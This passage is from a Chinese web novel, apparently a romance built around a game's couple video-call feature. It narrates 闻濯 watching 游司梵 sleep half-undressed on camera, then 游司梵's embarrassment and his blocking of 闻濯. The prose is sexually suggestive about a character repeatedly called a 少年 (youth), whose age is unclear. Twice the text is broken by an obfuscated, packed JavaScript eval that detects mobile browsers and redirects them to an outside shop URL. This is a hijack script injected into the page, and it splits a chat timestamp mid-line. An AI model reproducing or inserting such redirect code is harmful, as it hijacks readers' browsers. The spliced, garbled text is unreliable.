闻濯看都没看那碗分毫未动的燕窝粥一眼,脸不红心不跳,一个“好”字还没打完,光标还在输入框跃动,闻静的消息弹窗接踵而来。 [雁书:您有来自“闻静”的新消息。] [AAA西北自驾已有金主求队友+++]:哥!你记得啊!你自己亲口答应要带嫂子和我一起排位! [AAA西北自驾已有金主求队友+++]:等会中午就开黑?还是今天晚上?还是明天中午?>\﹉#"&♂^~?*…… [您已拒绝接收“闻静”的消息。是否将“闻静”移入黑名单?] [请二次确认操作。] [拉黑成功。] 世界一片清净。 闻濯享受来之不易的静谧,认认真真喝完燕窝银耳粥,把用过的碗筷清洁完毕,漱口,洗脸,最后在直饮机接一杯白开水,准备继续研读论文。 “唔嗯……” 视频中的游司梵低低呓语一声,音节含糊不清,像在朝闻濯撒娇,让他不要抛下自己。 [视频通话时长:9:58:17,9:58:18,9:58:19……] 少年的镜头距离身体很近,大半画面皆是他潮红的脸颊和脖颈,清晨的光平铺直叙,却为他照上一层珍珠般的光泽。 游司梵呼吸略显急促,额角汗珠淋漓,秀气的眉心微微蹙着,下唇咬出浅浅的白印子,好似在忍耐不知来处的酥痒。 “哥哥……” 他又在无意识地呓语,宛若一只不设防的猫咪,露出肚腹,把自己一切弱点袒露予最信任的闻濯。 而他会永远陪伴他。 听着那些不甚规律的呼吸和低喃,闻濯紊乱烦躁的心奇迹般逐渐静下。 咚咚,咚。 他把手机立于电脑显示器下,将自己的面庞纳入摄像头范围,开始工作。 每日专业书籍/论文阅读完成。 核心期刊论文初稿撰写完成。 项目计划书终稿完成。 闻濯利落地敲击静音键盘,凌厉的眉眼倒映出纷飞的编辑页面,本国语言与外语交错而过,而他全神贯注,一时忽略下方那块不起眼的视频界面。 他没有看见,游司梵双眸紧闭,难耐地把手机越推越远。 下颌,脖颈,锁骨,雪白细腻的胸膛。 还要往下,还在往下。 23.腰间掐出的斑驳红印 游司梵并不知道自己看起来有多糟糕。 司子天硬逼着他穿的长裙质量欠佳,商家约莫是为了穿着效果,严重牺牲布料舒适度,所有贴身接触肌肤的部分,比粗呢还要毛糙。 而游司梵上身,又只能穿分体式鱼尾裙的上半阙。 少年娇嫩的皮肤与布料亲密无间,早就被磨得嫣红,那些不过是寻常的表肤而已,却如同一块吹弹可破的豆腐,但凡再同劣质布料多蹭几下…… 怕是会破裂受伤,渗出淋漓的血丝和水痕。 游司梵赌气似的抱紧薄被,不着寸缕的肩头透出浅粉色,发尾凌乱,在半遮半掩的锁骨里凑成一团。 在睡梦的间隙,本该系于他颈后的黑色束带不翼而飞,连同束带相接的菱形布料一起消失。 半夜时他循着本能,豪情万丈,把小猫衬衫一把撕开。 之后更是直接,干脆将上半阙裙衣丢至床底,任由它们皱皱巴巴,做一对难兄难弟。 扫平困难,完事。 大功告成的游司梵兀自扯来被子,团吧团吧就搂进怀里,肌肤触及熟悉的舒适与柔软,霎那放松下来。 他才不要那些难穿的料子呢! 游司梵唇角弯起,好像在梦中想起什么开心的事,微笑的弧度模糊而甜蜜,却浑然不觉上半身变故横生。 一场完全由他自身主导的变故。 游司梵解放被束缚的自己,同时也失去可以蔽体的衣物。 简单来说,此时此刻,他无瑕白皙的上半身—— 除去薄被虚虚遮掩的重点部位,真正达成“自由”。 真金白银,如假包换。 待闻濯有空扫一眼视频界面,一切都晚了。 错误的开头早已铸造,无法挽回。 先前游司梵镜头只集中于脸颊,闻濯只当他在寻常睡觉,根本没考虑镜头之外的着装。 少年的气息又一直不大稳定,时急时慢,短促又缠绵,像在借梦话的机会贴着闻濯撒娇。 很乖,很粘人,情绪价值非常到位,是完美的ASMR和白噪音。 一下一下,慢慢抚平闻濯莫名涌动的燥热。 闻濯心平气和。 失眠带来的那丝不快烟消云散,在这种称得上温馨的氛围里,他注意力高度集中,一心投入全速运作的工作项目。 而这完满的一切,在他端起那杯变冷的白水后,骤然结束。 那方长方形的手机屏幕尺寸适中,单独看还好,而在四个宽而薄的电脑显示器下,就不那么惹眼。 尤其当画面内容看似空无一物,仅仅是白茫茫一片时。 闻濯腰背挺拔,伏案工作的姿态仍然与往常一般,好似清俊华贵的竹,无可挑剔。 他浅浅抿一口水,无色无味的白水漫上一瞬又离开,略微沾湿他薄红的唇珠,唯独留下透亮潋滟的水光。 闻濯敲击键盘的右手并未停下,充斥专业术语的文献飞快滚动,而他眼睫不经意垂敛的刹那,却在密密麻麻的文字间,正好对上毫无存在感的视频通话画面。 叮铛。 瓷杯被轻轻放下。 减低些许的水面一晃,险而又险地荡过圆润的杯沿,差点溢出。 但闻濯没多余的思绪去关注琐碎细节,他所有心思,已然被视频聊天全摄走了。 ——游司梵睡意酣然的面庞消失不见,取而代之的,是一片不知自何时起出现的肌肤。 柔韧舒展的肌肤,具体部位不明,没有任何有可供明确定位的器官。 就是一片随处可见的表肤罢了,也许是脸颊,也许是手腕。 但它白得耀眼,是极少曝露阳光的苍白,闻濯几乎可以看见其下青蓝色的静脉。 这片白皙的原野随主人呼吸的频率静静起伏,舒张,落下,生命力又完成一次周而复始的循环。 细密而浅色的绒毛渡上一层柔光,勾勒它的边界与曲线。 它无言地舒展,仿佛在大胆邀请闻濯的触碰。 是腰?脖颈?锁骨?还是大腿? 闻濯不知道。 他竭力压制在一瞬内迅速燃起的欲念,眸色暗沉若深海,抬手伸向不合时宜的视频通话。 于情于理,他只知道自己不应该,也不能做窥视这种不光彩的事情。 [视频通话时长:11:06:48,11:06:49,11:06:50……] 在时间跃向下一分钟的前刻,闻濯神情冷冽,薄唇抿成一条线,从侧面看去,与笔直挺拔的鼻梁连成雕塑般的弧度,锋利俊美,而不近人情。 他指尖点上“结束”的红色按钮。 嘎吱——! 那片原先安静起伏的肌肤蓦然一动,似乎是游司梵稍稍侧身,在床垫挪动一二。 少年还不知晓,他的肌肤离镜头越发接近。 “唔嗯……哥哥?” 迷茫的低喃,依旧是梦呓似的混沌与含糊。 闻濯无奈停下动作,心软了。 “嗯。” 他没办法不回答游司梵,哪怕对方只是道出一句普普通通的,没有指向性的梦话。 闻濯不想再做少年口中的坏东西。 “宝宝,你先睡。”他试图和一个挣扎在梦境里的人解释,声音低哑,燥热的直白疯狂涌上,几乎无法掩盖,“我先断……” “唔!不许……不行!” 但游司梵率先打断他,大腿一跨,狠狠翻身。 他动作幅度极大,画面内的白皙接连不断,近乎变作一整片连绵的莹润苍白。 “我还没有、没有吃到糖……不可以走……” 游司梵是否真正吃上那颗不存在的糖,闻濯无从得知。 但他终于得以观见那方雪肤的根源。 不过一错眼,一粒圆润可爱的肚脐一闪而过,又被游司梵吝啬地掩盖。 但已经完全足够。 它就如定论的锚点,直截了当,给予闻濯一个明明白白的答案。 腰腹。那是游司梵的腰腹。 他在游司梵无知无觉之时,看了人家的腰那么久。 [视频通话时长:11:07:39,11:07:40,11:07:41……] 起码超过30秒。闻濯冷静分析。 ……不过视觉效果这么软的腰部,指尖如果碰上去,又会是什么感觉? 仿佛感应一般,游司梵的手动了。 他挡于肚脐之上的掌心移开,像是再难忍耐表肤的酥麻,狠力掐了掐自己腰腹。 不似解痒,更似一种别样的发泄。 用些微的疼痛,分散愈发聚集的燥意。 不过几秒,那块被游司梵用力对待的皮肉迅速变红,大片大片的红印漫延开来,宛若一朵朵娇艳欲滴的玫瑰,在少年的指间怦然绽放。 咚,咚咚! 闻濯呼吸变得急促。 他听见自己心如擂鼓,浑身上下的血液刹那沸腾,一点源自视频画面的火星子,隔空而来,轻盈又飘忽,却又一次撩燃他苦苦压制的疯狂与燥热。 结束视频的权力分明在他一念之间,没有任何外在因素能够阻挡他。 但睡袍似乎也变作繁复沉重的累赘,那条流云纹束带如同勒上他的手腕,想摁下“结束”的指尖动弹不得。 闻濯心知肚明。 是他甘愿,是他清醒地走向沦陷。 他不过是对方可以随意玩弄的棋子而已。 然而这场由游司梵开启的戏剧,远远未至落幕时分。 他并拢大腿,微微屈向胸前,如同游戏一般,在幼嫩的腰腹部位绘下斑斓的红痕,像是完全感受不到痛觉。 闻濯呼吸一顿。 他看见一小块深紫色的淤青,极其碍眼地横在游司梵右膝盖。 它比红印更惹眼,犹如白玉破损的瑕疵,突兀,难看,伶仃地出现于那块本应完美的肌肤,却不令人生厌。 昨夜……没上药吗? “宝宝,醒一醒。”闻濯瞳色晦暗,语气辩不出喜怒,“家里常备药用完了?” 游司梵没醒,还在坚持不懈地掐自己,肚脐周围已经红得不能看了。 闻濯神情未变,再次唤道:“宝宝。” 游司梵兴许听见些许含糊的呼唤,却不乐意地停下动作,像一只红通通的小虾米,又把自己蜷起来。 他怀中是淡素色系的夏被,而他的肤色非但没有逊色,反倒衬得更白。 大半躯体藏在被子的保护里,游司梵的肩头和臂膀却直愣愣地袒露,在夏日清晨闷热的空气里,现出纤长而明显的经络痕迹。 他在用力怀抱夏被,半埋进被子的脸颊气鼓鼓的。 好像生怕闻濯把他的宝贝突然抢走,又好像在隐忍什么呼之欲出的冲动。 但游司梵不知道自己才是猎人意动的对象,和那方夏被毫无关系。 腰上的红印,膝盖的淤青,游司梵如同被囚禁于视频里的小兽,虚弱,可怜,备受凌虐,却仍然信任那个最初诱他入局的猎人。 甚至还在对方的注视下深眠。 闻濯喉间唤出一声低低的叹息。 还能怎么办呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928917|130940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他收回僵持已久的指尖,没有再尝试挂断视频,镇定地凝望游司梵潮红的颧骨。 不久前,随着少年的臂膀动作,镜头范围再次改变。 画面颠簸几下,绚烂的色彩幻梦般闪耀,苍白的表肤,嫣红的唇,那些无规律的红印,略显稚气的猫咪床单与枕套。 像一瓶小时候常喝的玻璃汽水,哔啵一下轻响,铁质瓶盖应声而落,瓶壁冷凝水珠的攀爬崎岖又朦胧。 与如今的游司梵一模一样。 潮湿的汗渍,被黏作一缕缕的鬓发,灼热难耐的气息,闻濯隔着无数0与1组成的比特流,好似也触碰到少年湿漉漉的魂灵。 游司梵的手机无意往上移动十几厘米,成功从肚腹推至锁骨。 虽然自下而上的视角让他的身躯无处遁形,镜头移动更是全数转播那些隐秘的细节,但至少闻濯重新拥有不冒犯,或者说,不那么冒犯的视觉落点。 先这样吧。闻濯想。 游司梵颧骨也有乱七八糟的痕迹,不过与他自己掐的不同,脸上那些明显是被褥的压印。 像猫咪乱糟糟翘起的胡子。 一只Q版黑猫在闻濯脑海蹦出来,深蓝色的眼睛又大又圆,娇娇地“喵呜”一声。 闻濯唇角露出微不可见的笑意。 他右手抚向空置已久的鼠标,愉悦地点开论文修改稿,黑灰色的铅字霎时充满大屏。 不挂视频也行,把手机像之前一样放在一边当白噪音,我继续工作,不看就好…… “……哥哥!” 是游司梵在唤他,语调竟有些慌张。 闻濯挑眉,快速浏览那些晦涩难懂的专业术语,不轻不重地回应:“嗯?” 他当那又是一句梦境的呢喃,并没有多上心。 但他失策了。 闻濯矜持地等来等去,耐下心润色完一段稍有欠缺的文段,也没等来游司梵黏黏糊糊的后文。 没有羞恼的拒绝,没有颐气指使的命令。 好像凭空消失一般。 再好的计划也会被打断,何况是临时应急的措施。 闻濯继而捺下躁动不安的欲念,确保它好好地隐藏于睡袍之下,才又一次将视线投向视频画面。 镜头中的青年眉目深邃,瞳心倒映论文艰涩的字词,幽微的白蓝光打在鼻骨侧面,照射出山峦起伏般的轮廓。 自持又英俊,冷清又性感。 但他所有勉力维持的镇定,在看清游司梵的一瞬全然破碎。 闻濯直接对上一双水雾朦胧的杏眼。 杏眼的主人显然刚自重重梦境中醒来,雾蒙蒙的,眼尾湿漉漉,不知是生理性的泪水,还是被梦境激出来的委屈。 游司梵很懵。 和那间“闻濯”为他精心准备的温馨小屋不同,眼前的卧室狭窄闷热,老旧的窗户只支开一条小缝通风,却无济于事,那股怪异而突兀的腥甜依然弥漫整个房间,渗透进游司梵每个毛孔。 像幽暗的鬼魂,缠绕他沉重的四肢。 游司梵鼻头一酸,头颅往后仰:“哈——哈嚏!” 他条件反射地闭紧双眼,逃避似的搂紧薄被,眼尾飞起的红晕更红几分。 “司梵,你怎么样,还好吗?” 枕旁的手机扬声器传来询问,男音低哑沉稳,语调比那个强硬摁着他在岛台舌吻的坏东西,这个闻濯的声音还要沉一些。 想起这事游司梵就生气。 他自以为隐秘地瞅屏幕一眼,却正正撞上一双暗含关切的眼瞳。 “没事吧。”闻濯还在问他。 青年睡袍的深V开的很大,三分之二的胸肌现于镜头前,饱满又结实,很是冲击了一番游司梵的视觉。 他很慢很慢地眨眼,在闻濯明晃晃的冷白胸肌前流连,从左到右,又从右到左,如此往复数次,片刻后才若无其事地挪开视线。 “衣领开的不够大,哥哥。” 他慢吞吞地点评道,准备开始翻旧账。 完全遗忘闻濯的初衷是询问他的身体,而并非让他品鉴男色的好看程度。 “而且哥哥……你刚才把糖浆倒在我小腿和脚踝上,我都不和你计较了,但你怎么可以得寸进尺呢?” 闻濯脸色骤变,在听见“糖浆”二字的刹那,他的喉结幅度明显地上下滚动。 仿若一个喻示风雨将至的讯号。 而游司梵没有看见,还在迷迷糊糊,委屈地质问。 “为什么现在我的大腿也湿黏黏的?还有床单,枕套……” “它们,怎么都湿透了?” 24.睡觉的癖好是裸* 游司梵几乎觉得自己是泡在水里。 鬓发是湿的,黏糊糊地贴在颈侧,像一双不知从何而来的手,遏制他的动脉和呼吸。 他的指尖难耐地蜷缩,修剪齐整的甲盖在小猫床单划出一道浅浅痕迹。 床单不出意外,也是湿的。 那些濡湿的触感缠上他的指尖,像海底飘摇的藻类,把游司梵裹挟其中,不叫他离开这些过度亲密的黏厚。 大腿,颈后,脊背,尾椎。 无一不湿漉漉。 他都不用伸手去探,仅仅凭借迥异的体感和水渍,就知道不该汗湿的部位,已经全被汗水浸透。 做奶糖时候……也是这么热吗? 游司梵脑海刚刚闪过一个模糊的疑问,一滴汗珠恰巧滚落额角,要掉不掉,徒留酥麻与瘙痒,瞬间驱走不那么坚定的怀疑。 好像记不清了。他捺下困惑。 游司梵唇齿微张,吐出一口灼热的气息,抬起臂膀,想要擦去调皮而绵密的汗。 可当手腕触至额头,平日本应是布料的位置空无一物,反而是一方热乎乎的手臂径直贴上自己的肌肤。 汗津津的,和脸庞一般潮湿。 他手背和前额磨蹭一二,汗没有拂去多少,却是把鬓发弄得越发凌乱。 诶? 衣服……衣服呢? 游司梵呆呆地停顿几秒,好似迷茫不解的猫咪,又不死心,绷紧手指换方向再擦一次。 一大片雪白在镜头前一闪而过。 明明只是正常的臂膀和腕子,普普通通,抬起又落下,根本没有露出过分亲昵的部位,也没有刻意展现的暗示,但闻濯仍然如同被灼伤一般,匆匆移开视线。 近乎狼狈。 “汗太多难受吗?”青年的眼瞳像含着一簇焰火,浓墨重彩,凌厉地目视屏幕中无辜的论文,言语竭力保持冷静,“宝宝,你枕头隔壁有抽纸。” “嗯……” 游司梵蹙起眉心,动作先于意识,直接转向右侧。 啪! 闻濯并没有看画面,光听声音就知道游司梵搞错了。 “抽纸在左边,宝宝,你手往上抬一点。” 他瞳底风起云涌,积蓄的疯狂与冲动好似将破笼而出,偏偏视线克制万分,全数集中于电脑屏幕的灰黑色铅字,不偏不倚。 咔嗒。 文段修改完毕,他按下回车,光标跳动,移至下一行晦涩复杂的公式。 闻濯舌尖轻轻抵上犬齿。 那是往日熟稔无比的字符,分毫未改。 但此情此景下,他竟看不进去哪怕一点。 视频另一侧的游司梵已经顺利拿到纸巾,像小海獭一样捧着来之不易的手帕纸,正准备拭去作乱许久的汗时,一道低哑的声音蓦然打断他的动作。 “不说句谢谢吗。” 游司梵停下举至额角的手,眨眨眼:“嗯?嗯……哥哥?” 他瞥一眼视频里的青年,见闻濯如君子般端方,极为认真地注视电脑屏幕,侧颜俊美无俦,却根本没在看他。 和舔吻时候的直白与急切完全相反,现在的闻濯,像一座冰山,克制又禁欲。 看上去拒人千里。 “我要谢谢哥哥什么?谢谢哥哥舔吻、吻我的指缝吗?”游司梵偏不道谢,恶狠狠地叠好纸巾,一口气把大半的汗珠擦干净,“刚刚那样子欺负我,难道哥哥转头就忘记自己做过的坏事了?” 他动作幅度很大,夏被的遮掩变得聊胜于无,在起伏间不断掀开。 磨得通红的锁骨,单薄而平坦的胸膛。 连绵不断的白皙肌肤于游司梵不知道的间隙,大胆曝露空气之中。 闻濯听着窸窸窣窣的布料摩挲声,不动如山。 嗒。 青年骨节分明的指敲下退格键,删去公式里一处冗余的参数。 黑沉的瞳仁闪过术语的变换排列,他面色淡淡,没有接游司梵的话茬。 “擦完汗了?身上还难受吗。” 他巧妙绕回先前的话题。 果然,游司梵不甚专注的注意力马上被反问带跑。 “嗯……”他先是下意识地点点脑袋,点到一半,猛然回过神来。 梦境的迷雾被拨开,一些被遗忘的细节浮到记忆前端。 游司梵脖颈僵住,如同吞下一只苍蝇。 不是。 自己又双叕被骗了! 天啊!这人怎么可以一而再,再而三地戏耍他……! 游司梵并拢的双腿一蜷,气势汹汹,想要不管不顾,直接翻身起床。 那床原先被他搂入怀中的夏被骤然一滑,像雪崩时滚落的山雪,飘零而轻盈,几乎没有受到一丝阻力,转眼间便离开它覆盖已久的身躯。 一具青涩单薄的少年躯体。 潮红的色泽漫上游司梵的体肤,鱼尾裙的曲线蜿蜒又紧致。 藏匿多时的花蕾终于得见天光,在一个不那么耀眼的阴天清晨,尽情舒展与生俱来的蓬勃与生机。 他身后是杂乱无章的墙壁,三年前储物室的改造匆匆忙忙,司二叔随便把铁质货架移至屋角,空出来的地界便就此改作床榻。 钉子撬出又重新钉下,徒留长年累月的乌黑痕迹,去不掉,抚不平,是石灰的伤疤,是横在游司梵身后潦草凌乱的污渍。 阴天的光是昏暗的,而他就坐于这片无法抹去的脏乱之前,好似一株废墟里盛开的无名野花。 有他自己也不知晓的,无穷无尽的美艳和生息。 活色生香。 鱼尾裙摆的大小束缚游司梵的动作,他曲起腿,双手撑向胸前,在暗调与压抑的清晨里瞪向视频对侧的闻濯。 颇有一股就此清算的决断。 “司梵。”游司梵开口前,闻濯隐忍地提醒道,“你先去洗漱。” 青年的视线依然波澜不惊,一直注视电脑屏幕,分毫不动,绝对没有看视频画面。 言语更是委婉克制,点到即止,给游司梵留够进退空间。 但是无奈游司梵不买账。 他更生气了,怒色一提,面庞艳若桃李,眼瞳水光粼粼:“哥哥,你想糊弄我?轻轻揭过——哦!等我洗漱完,这事就ending,结束,完事了,对吗?” 他直接把手机捧至身前,试图用近距离的眼神谴责闻濯。 声音很大,效果很好,很占理! 游司梵自信满满,足趾悄悄缩拢又翘起,前后摇晃几下,已经开始暗自期待闻濯会怎么道歉。 “宝宝,是我错了。” 不出所料,闻濯当真顺着游司梵预设的逻辑致歉。 游司梵肯定地点头,没想到闻濯话锋一转。 “你确定要现在……嗯,这个样子,”闻濯难得停顿一下,似乎在斟酌用词,“和我谈?” 他连敲击键盘的指尖都暂时顿住,冷白的十指拢起,在深墨色的键盘衬托下,显得格外修长有力。 游司梵一时被那双冷感的手摄去心弦,思绪一绕,更加迷茫:“唔?什么啊,哥哥?” 闻濯:“……” 闻濯扶额:“我想,你应该没有不穿衣服睡觉的习惯?” 游司梵愣住。 游司梵视线下移。 游司梵打量自己。 寂静,寂静,无声的寂静。 三十秒,六十秒,一分半钟,两分钟。 对峙般的沉默。 屏幕即是楚河汉界,将游司梵和闻濯分割作泾渭分明的两端。 闻濯很久没感受过进退两难的困境,创设工作室最初的日子,也不曾让他失去教养和风度。 但他现在莫名很想骂一句脏话。 “宝宝,司梵,对不起,我……” 视频画面突然一黑。 叮! [视频通话已结束,您的CP“人家爱吃芝士蛋糕”主动挂断该次视频。] [本次通话时长:11:25:36。] [奖励结算中……] [邮箱发放中……] [情意绵绵说不尽,见君一面慰吾心。恭喜你们的通话时长打败98.9%的CP玩家,跃居《方寸狂欢》CP榜前20名!] [“鹣鲽情深”成就达成!] [相关情侣称号已发送至您的邮箱,请注意查收。] [本次视频通话为系统主动赠送,故不计入CP值/亲密度升级机制。] [请再接再厉,继续和你的TA……] 下文是什么,闻濯一概不知。 他冷着脸直接退出游戏,径自打开雁书,点击置顶里与[起司梵]的对话框。 消息内容还停留在昨天。 6月16日-15:01 [。]:小黑猫耷拉耳朵.jpg(已读) [。]:今晚继续排位?(已读) 6月16日-17 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943164|130940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :38 [。]:没空吗。(已读) 6月16日-19:27 [。]:。(已读) 闻濯沉默良久,薄唇闭合的线条冷硬,垂下的长睫盖去眼瞳复杂的燥热与思绪。 数分钟后,书房响起一声微不可闻的叹息。 闻濯反复斟酌,终于选择对有着黑猫头像的[起司梵]发出一条讯息。 滴——! [系统提示:是否确认卸载《方寸狂欢》?] [若无后续主观操作,系统将于10秒后自动执行卸载。] 游司梵想都没想,用平生最快的速度按下绿色确认键。 他刚才强行退出游戏,这个天杀的视频通话居然还没有断线,仅仅是缩成小屏,悬浮于桌面左上角。 闻濯那道克制又性感的身影没有改变,依然浮现于游司梵目眦欲裂的视野。 他有多正常,游司梵就有多狼狈。 连蔽体的衣物也是慌乱间随手拽起的夏被,仿佛绕了好大一个圈子,仍旧回到最初的原点。 ——“你确定要现在这个样子和我谈?” ——“你应该没有不穿衣服睡觉的习惯?” 救命!救命啊!! 他是怎么回答的来着? “嗯,啊?哦……”“坏东西!”“哥哥想敷衍我是吗?” 天啊……天啊! 究竟谁才是那个胡搅蛮缠的坏蛋! 记忆一遍遍在脑海重播,像有一万个扩音喇叭,不断在耳边公放那些信誓旦旦的言语。 游司梵羞愤欲绝,恨不得一头闷死自己拉倒完事! 不是,方寸狂欢你们CP系统做这么细节干嘛? 退出游戏还不结束通话,非得卸载? 游司梵咬着下唇,完满圆润的红唇生生咬出白印,食指疯狂点击[确认]。 几乎搓出火星子的程度。 [您已确认卸载《方寸狂欢》,该应用已移除。] 游司梵并紧双腿,粗糙的鱼尾裙布料摩擦过大腿面,激得他浑身一颤。 这布料实在是太粗糙,也太低劣了。 “呼。”游司梵轻唤一声。 他忍着劣质面料带来的不适,划动,翻面,在细密的酥痒里点开雁书。 掠过置顶的「终于去西北大环线自驾了!(3)」,游司梵目的相当明确,直奔与[。]的私聊对话框。 6月16日-19:27 [。]:。 空荡荡的消息对话可怜兮兮,但并没有挽回毅然决然的游司梵。 他郎心似铁,点击[。]的头像,又在“特别关心”的橙黄色星星的右上角,展开对联系人具体设置。 游司梵牙关紧咬,逼迫自己不去看那颗圆润的星星标志,强行把视点移开。 一不做二不休,Forward,我们永别,再也不见! [尊敬的年度SVIP用户,您是否确认拒收特别关心“。”的消息?] [请二次确认相关操作。] [注:您与“。”于2718年6月15日互相添加雁书,今天,是你们认识的第3个自然日。] [在你们互相成为好友的日子里,您在添加“。”的4小时内选择将TA设为特别关心,他是您消息列表中唯三选择置顶的单独联系人,另外两位用户分别为“爸爸”“妈妈”。这三位联系人,一定是你生命中特别重要、意义非凡的存在。] [您收藏了“。”所以动态,并评论“。”动态2次。] [您一共与“。”拥有8条聊天记录,距离你们上一次聊天,已经过去13小时。但智者不会被言语束缚,你们之间如若金石的情谊,并不会因为君子般淡泊的交流而减弱。] 游司梵心脏狠狠一震。 [拒收消息]的确认键是黑色的,字体中规中矩,透出无机质的冷淡意味。 仿若一按下去,他和闻濯那本就虚无缥缈的联系就会斩断,再也无法续上。 他闭上眼,咽下泛苦的唾液,艰涩地将指尖触上温热的玻璃屏幕。 叮! [您已拒绝接收“。”的消息。是否将“。”移入黑名单?] [注:拉黑后将直接清楚动态互动、聊天记录、好友相识时间线等内容,请慎重选择。] [若您未做出反应,系统将于5秒后自动选择拉黑。] [5、4、3、2……] 25.粘稠的雨(新增2k) 轰隆——! 惊雷乍响。 硕大而突兀的红色感叹号在闻濯面前弹出。 [。]:[你向“起司梵”转账100,000元。] [警告!您的消息已成功发送,但对方拒绝接收!] 若说被拒收还算正常,是可以接受的生气范畴。 那么下一行—— [。]:对不起。去买点甜品消消气,好吗。 [警告!您已被对方拉黑!请重新加为好友后再开始谈话。] 不到0.1秒,系统提示大大升级,直接从拒收信息变成已被拉黑。 闻濯面色波澜不惊,长睫掩盖的墨色眼瞳却颤动一霎。 如同飞鸟掠过湖面时,骤然破碎,荡漾的涟漪。 他沉默片刻,放下自动息屏的手机。 哐当。 游司梵手忙脚乱,好不容易把自己上半身完全裹进夏被,才战战兢兢接起电话。 “喂?姐姐?” 刚刚雁书系统莫名其妙,那个拉黑倒计时像坐上火箭一样,“嗖”的一下就蹦到1,完全不给人思考的空间。 游司梵都还没回过神来,系统就要自作主张,把闻濯自动拉黑了! 这还不算完。 在倒计时消失的前一瞬,游司梵指尖朝[取消]键摁下,一通电话却突然打进来。 “铃铃铃……” 雁书界面忽然缩小,备注为[茶艺师]的联系人头像一明一暗,通话页面占据整个屏幕。 一切只发生在眨眼之间。 游司梵惯性地照常按下,拉黑选项的[取消]却不再待在原处。 它在一个短暂的瞬间,与[确认]交替而过。 游司梵眼睁睁看着自己略过原本的选择,冷酷无情地点击[确认]。 鲜红色的确认,斩断过往痕迹的确认。 按键拟态化地灰暗一秒,又重新亮起。 那是代表接收到操作讯号的象征。 如同有一双不存在的手,真切按下虚拟信息流里端的按键。 “铃铃铃!铃铃铃铃铃!” 来电提示急促至极,像坠子一般刺向游司梵绝望的目光。 两行小字亮起一瞬又弱下。 [确认完成。] [您已将“。”拉黑。] 游司梵:“……” 游司梵:“…………” 他深呼吸,颤抖着握紧手机,一蜷一缩,像即将冬眠的北极熊,在32摄氏度的夏日清晨,坚定地蛄蛹,几乎把整个脑袋都埋进薄被。 这是脆弱柔软的“堡垒”,是可供逃避现实一秒钟的小空间。 表肤接触至熟悉的棉织面,曾经滑落的布料如同云霞,重新覆盖游司梵燥热不已的脸颊。 他的不安又惊惶的躯体被完全拥抱,难以遏制的闷热又卷土重来。 潮湿和黏糊尚未褪去,游司梵呼吸间尽是自己的腥甜。 它们是疏落的网,把亲自撕毁衣衫的少年笼罩其中。 不可抗拒,不可挣脱。 游司梵远远未能离开这潭幽深的静水。 窗外风雨欲来,阴沉的天色黯淡无光,雨的前兆凝结于水汽,水滴坠落之前的预告尽数含入特有的冷冽气息。 闷热无风的清晨。 但属于游司梵的那场大雨,已然淋漓。 铃声一刻不停地震动,游司梵触碰手机的指根压出白印,青筋凸起,指关节泛出不正常的淡色。 他在用力攥紧那方小小的屏幕。 杂乱的心跳。渗出细汗的嫣红额角。挥之不去的燥热和湿润。鱼尾裙近乎束缚似的折磨。 粗劣的下裙布料在摩擦他的大腿肌肤,像砾石,又像绿茵地里错综复杂的植物丛。 “啵”的一声轻响。 气泡破裂,被阻挡于泡沫之外的浪潮汹涌澎湃。 它们抵御海啸太久太久,久到游司梵忘却燥热的力度和触感。 哗啦——! 无法忍耐的酥痒,直指魂灵。 一个漫长却短暂的瞬间,如烟火般闪过。 礼花似的闪耀碎屑慢慢飘落。安静后又无比纷繁的低沉杂音。蝉鸣。孩童在窗下追逐嬉闹的喊叫。 来自于外界的声音划过游司梵的耳膜,好似流水一样轻盈。 它模糊而虚幻,淙淙而去,几乎没有留下印记。 五彩斑斓的色泽漫延于腥甜空气里。 游司梵犬齿松开时,下唇已经咬出一道过于深沉的痕迹,它比唇色的晕红更深,近乎赤色,在饱满完美的唇肉上突兀而暧昧。 正中心的唇珠微微肿起,像被什么人狠狠舔舐过的可怜模样,比梦中的情形还要凄惨。 原本含苞待放的花蕾,在还未来临的雨水前潮中,强行盛开。 但它远远没有到成熟的季节。 游司梵指尖隐隐颤动着,轻轻点上通话界面的接通键。 “哎呀,小游,我以为你还在睡呢?这么久才接电话?不过昨天受那么大委屈是该补补觉哈,没事,姐姐明白。” 茶艺师活泼清脆的声音传来,冲淡游司梵粘稠厚重的思绪。 “是这样,密室逃脱老板那儿,我帮你牵上线了!他说今天正好有空,喊你抽个时间过去面试,合适的话就录用了,能不能行都会当场给个准话,这样两边的时间都不耽误。因为快开业了,他确实缺人手,所以特别在意效率,也爽快,懂吧小游!” “不过呢,别怪姐姐多嘴一句,你别太紧张就成了,完事了,顺顺利利了!我觉得就应聘NPC这事,莫非还难得过撬茶饼?那么硬的老班章你都能轻松撬碎,等会好好洗把脸,扎个头发,穿套精神点儿的衣服,嗨,肯定不会有人讨厌咱们漂漂亮亮的游司梵……” 漂漂亮亮的游司梵? 穿衣镜里面那张面庞肤色苍白,游司梵望着没什么精神的自己。 那个有着深黑色杏眼的少年也在注视他。 自醒来起,一切就兵荒马乱,命运像多米诺骨牌一般接连倒下,推着他往前走,完全不存在任何喘息的余地。 中长的黑发还没来得及打理,略显凌乱,随意垂落脸颊两侧,些微发梢撩过他嫣红的眼尾。 